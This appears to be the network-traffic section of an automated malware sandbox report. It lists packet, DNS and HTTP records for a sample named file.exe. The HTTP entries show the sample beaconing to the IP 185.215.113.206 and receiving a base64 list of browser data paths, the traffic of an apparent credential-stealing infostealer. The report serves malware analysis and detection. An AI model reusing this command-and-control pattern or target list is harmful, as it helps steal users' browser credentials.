Oct 31, 2024 11:28:47.390443087 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.390448093 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.417676926 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.418162107 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.418178082 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.441613913 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.441622972 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.467705965 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.469562054 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.469572067 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.473232985 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.473241091 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.517427921 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.517452002 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.517513037 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.517515898 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.517554998 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.524117947 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.524136066 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.524147034 CET	50018	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.524152040 CET	443	50018	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.536709070 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.554466009 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.554506063 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.555460930 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.555475950 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.560992956 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.561044931 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.561099052 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.561342955 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.561372042 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.566313028 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.566340923 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.566380978 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.566397905 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.566409111 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.566459894 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.566746950 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.566761017 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.566770077 CET	50019	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.566775084 CET	443	50019	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.574304104 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.574343920 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.574413061 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.575004101 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.575018883 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.599744081 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.599813938 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.599942923 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.614692926 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.614706993 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.614717007 CET	50020	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.614722967 CET	443	50020	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.617850065 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.627245903 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.627254963 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.627649069 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.627652884 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.639837980 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.639873028 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.639930964 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.640249968 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.640256882 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.679928064 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.680020094 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.680088997 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.686065912 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.686100960 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.686117887 CET	50021	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.686125040 CET	443	50021	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.689713955 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.689743042 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.689802885 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.689912081 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.689918995 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.758630037 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.758708954 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.758793116 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.791759968 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.791794062 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.791810036 CET	50022	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.791816950 CET	443	50022	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.796848059 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.796906948 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:47.797118902 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.797182083 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:47.797194958 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.308954000 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.309659004 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.309675932 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.311083078 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.311093092 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.316032887 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.316437006 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.316457987 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.317552090 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.317558050 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.368901968 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.369410992 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.369456053 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.370074987 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.370090961 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.420244932 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.420701027 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.420711994 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.421084881 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.421089888 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.438668013 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.438713074 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.438757896 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.438767910 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.438819885 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.438972950 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.438982964 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.438993931 CET	50024	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.438998938 CET	443	50024	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.441283941 CET	50028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.441404104 CET	443	50028	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.441495895 CET	50028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.441597939 CET	50028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.441618919 CET	443	50028	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.449346066 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.449414968 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.449464083 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.449590921 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.449609041 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.449625015 CET	50023	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.449630976 CET	443	50023	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.497337103 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.497502089 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.497598886 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.497721910 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.497757912 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.497785091 CET	50025	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.497802019 CET	443	50025	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.526110888 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.526581049 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.526612043 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.527029991 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.527044058 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.613185883 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.613264084 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.613326073 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.613547087 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.613564014 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.613574982 CET	50026	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.613580942 CET	443	50026	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.657507896 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.657569885 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.657635927 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.657774925 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.657828093 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:48.657861948 CET	50027	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:48.657880068 CET	443	50027	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:49.169198036 CET	443	50028	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:49.169711113 CET	50028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:49.169723988 CET	443	50028	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:49.170171022 CET	50028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:49.170176029 CET	443	50028	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:49.432009935 CET	443	50028	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:49.432075977 CET	443	50028	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:49.432130098 CET	50028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:49.432305098 CET	50028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:49.432322979 CET	443	50028	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:49.432332993 CET	50028	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:49.432338953 CET	443	50028	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 11:27:07.142122030 CET	53	59514	1.1.1.1	192.168.2.4
Oct 31, 2024 11:27:07.213699102 CET	52673	53	192.168.2.4	1.1.1.1
Oct 31, 2024 11:27:07.213839054 CET	55376	53	192.168.2.4	1.1.1.1
Oct 31, 2024 11:27:07.220504045 CET	53	55376	1.1.1.1	192.168.2.4
Oct 31, 2024 11:27:07.220802069 CET	53	52673	1.1.1.1	192.168.2.4
Oct 31, 2024 11:27:07.220819950 CET	53	62174	1.1.1.1	192.168.2.4
Oct 31, 2024 11:27:08.698033094 CET	53	64570	1.1.1.1	192.168.2.4
Oct 31, 2024 11:27:10.487143040 CET	54843	53	192.168.2.4	1.1.1.1
Oct 31, 2024 11:27:10.487400055 CET	61396	53	192.168.2.4	1.1.1.1
Oct 31, 2024 11:27:10.491616964 CET	53	61033	1.1.1.1	192.168.2.4
Oct 31, 2024 11:27:10.493875980 CET	53	54843	1.1.1.1	192.168.2.4
Oct 31, 2024 11:27:10.494345903 CET	53	61396	1.1.1.1	192.168.2.4
Oct 31, 2024 11:27:11.493217945 CET	53897	53	192.168.2.4	1.1.1.1
Oct 31, 2024 11:27:11.493489981 CET	59935	53	192.168.2.4	1.1.1.1
Oct 31, 2024 11:27:11.500046968 CET	53	59935	1.1.1.1	192.168.2.4
Oct 31, 2024 11:27:11.500262976 CET	53	53897	1.1.1.1	192.168.2.4
Oct 31, 2024 11:27:20.271508932 CET	138	138	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 11:27:07.213699102 CET	192.168.2.4	1.1.1.1	0xc398	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:27:07.213839054 CET	192.168.2.4	1.1.1.1	0x40f6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 31, 2024 11:27:10.487143040 CET	192.168.2.4	1.1.1.1	0x7d6	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:27:10.487400055 CET	192.168.2.4	1.1.1.1	0x941c	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 31, 2024 11:27:11.493217945 CET	192.168.2.4	1.1.1.1	0xce76	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:27:11.493489981 CET	192.168.2.4	1.1.1.1	0x4e8b	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 11:27:07.220504045 CET	1.1.1.1	192.168.2.4	0x40f6	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 31, 2024 11:27:07.220802069 CET	1.1.1.1	192.168.2.4	0xc398	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:27:10.493875980 CET	1.1.1.1	192.168.2.4	0x7d6	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 11:27:10.493875980 CET	1.1.1.1	192.168.2.4	0x7d6	No error (0)	plus.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 11:27:10.494345903 CET	1.1.1.1	192.168.2.4	0x941c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 11:27:11.500262976 CET	1.1.1.1	192.168.2.4	0xce76	No error (0)	play.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

apis.google.com

play.google.com

fs.microsoft.com

slscr.update.microsoft.com

otelrules.azureedge.net

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	6692	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 11:27:00.769005060 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 11:27:01.666260958 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 11:27:01.668534994 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAEHDBAAECBFHJKFCFB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 31 31 41 37 36 43 46 43 31 33 33 33 32 37 34 33 38 36 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 2d 2d 0d 0a Data Ascii: ------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="hwid"6A811A76CFC13332743865------GCAEHDBAAECBFHJKFCFBContent-Disposition: form-data; name="build"tale------GCAEHDBAAECBFHJKFCFB--
Oct 31, 2024 11:27:01.968653917 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 57 49 30 59 6a 68 6b 59 54 41 30 4e 6a 63 34 5a 6a 6b 79 59 6d 51 33 4d 47 59 32 4d 54 51 34 4e 6a 41 35 5a 47 59 77 4f 57 4d 78 4e 6a 5a 6c 4e 54 63 35 4f 47 51 34 5a 57 52 6d 5a 6a 51 79 5a 47 55 34 4d 54 6b 7a 4e 44 4d 78 4d 6a 4d 33 59 54 59 77 4e 6a 52 68 5a 44 45 79 4d 44 6c 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OWI0YjhkYTA0Njc4ZjkyYmQ3MGY2MTQ4NjA5ZGYwOWMxNjZlNTc5OGQ4ZWRmZjQyZGU4MTkzNDMxMjM3YTYwNjRhZDEyMDlkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 31, 2024 11:27:02.070156097 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDAEBGIDBGHIECBGHJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 34 62 38 64 61 30 34 36 37 38 66 39 32 62 64 37 30 66 36 31 34 38 36 30 39 64 66 30 39 63 31 36 36 65 35 37 39 38 64 38 65 64 66 66 34 32 64 65 38 31 39 33 34 33 31 32 33 37 61 36 30 36 34 61 64 31 32 30 39 64 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 41 45 42 47 49 44 42 47 48 49 45 43 42 47 48 4a 44 2d 2d 0d 0a Data Ascii: ------EGDAEBGIDBGHIECBGHJDContent-Disposition: form-data; name="token"9b4b8da04678f92bd70f6148609df09c166e5798d8edff42de8193431237a6064ad1209d------EGDAEBGIDBGHIECBGHJDContent-Disposition: form-data; name="message"browsers------EGDAEBGIDBGHIECBGHJD--
Oct 31, 2024 11:27:02.349057913 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 31, 2024 11:27:02.349086046 CET	112	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFU
Oct 31, 2024 11:27:02.349096060 CET	944	IN	Data Raw: 51 53 56 63 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: QSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcXFByb2d
